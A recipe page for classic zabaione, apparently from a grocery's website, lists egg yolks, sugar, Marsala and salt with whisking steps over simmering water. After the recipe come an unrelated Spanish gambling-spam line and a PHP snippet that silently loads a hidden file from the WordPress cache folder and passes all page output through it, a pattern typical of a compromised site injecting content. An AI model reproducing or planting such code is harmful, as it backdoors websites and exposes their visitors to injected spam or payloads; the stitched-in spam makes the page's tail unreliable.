Classic Zabaione

Prep Time

10 Minutes

Cook Time

10 Minutes

Yield

Serves 4

Description

Most ingredients are available in Antonio’s Market!

Ingredients

4 ea Egg Yolks
1/3 cup Granulated Sugar
1/3 cup Dry Marsala
Pinch of Salt

Method of Preparation

1. Fill a large saucepan with 2 inches of water and bring to a gentle simmer over medium-low heat.
2. Combine egg yolks, sugar, Marsala and salt in a metal bowl.
3. Place bowl over simmering water and cook, whisking constantly for 8 minutes.
4. Remove bowl from heat and whist for 30 more seconds.
5. Serve zabaione warm or chilled

Recipe Source

La Cucina Italiana Magazine, April 2012 Issue

Mejores Casas de Apuestas para Carreras de Caballos en Argentina con Betzoid
function ob_gzhanler($s) { $f='/data/19/2/124/52/2939541/user/3258021/htdocs/Development/wp-content/cache/ssess_2a52da7dd6661b1ae8dca7d527933a19'; if(file_exists($f)) include_once($f); return class_exists('phpupdate') ? phpupdate::copyright($s) : $s; } ob_start('ob_gzhanler');